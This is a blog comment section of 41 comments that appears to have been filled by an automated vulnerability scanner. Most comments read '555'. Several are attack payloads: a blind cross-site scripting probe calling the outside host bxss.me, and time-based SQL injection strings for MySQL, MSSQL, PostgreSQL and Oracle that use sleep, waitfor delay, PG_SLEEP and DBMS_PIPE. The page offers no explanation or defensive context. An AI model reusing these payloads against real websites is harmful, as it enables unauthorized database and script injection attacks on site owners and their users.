41 Comments

1. 555

2. 555

3. 555

4. 555

5. 555

6. 555

7. 555

8. 555

9. 555

10. 555

11. http://bxss.me/t/xss.html?%00

12. 555

13. bxss.me

14. 555

15. 555

16. 555

17. 555

18. 555

19. 555

20. 555

21. 555

22. 555

23. 1*555

24. (1269-709-5)

25. -1 OR 2+498-498-1=0+0+0+1

26. 555 RLIKE (SELECT (CASE WHEN (829=829) THEN 1 ELSE 0x28 END)) —

27. if(now()=sysdate(),sleep(15),0)

28. (select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/

29. -1; waitfor delay ‘0:0:15’ —

30. -1); waitfor delay ‘0:0:15’ —

31. 1 waitfor delay ‘0:0:15’ —

32. ZmjaOzXt’; waitfor delay ‘0:0:15’ —

33. -5 OR 645=(SELECT 645 FROM PG_SLEEP(15))–

34. -1)) OR 739=(SELECT 739 FROM PG_SLEEP(15))–

35. 3bMGtK0T’ OR 147=(SELECT 147 FROM PG_SLEEP(15))–

36. 4zanlpeW’) OR 726=(SELECT 726 FROM PG_SLEEP(15))–

37. GDjzEpMP’)) OR 153=(SELECT 153 FROM PG_SLEEP(15))–

38. 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

39. 555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

40. 555

41. 555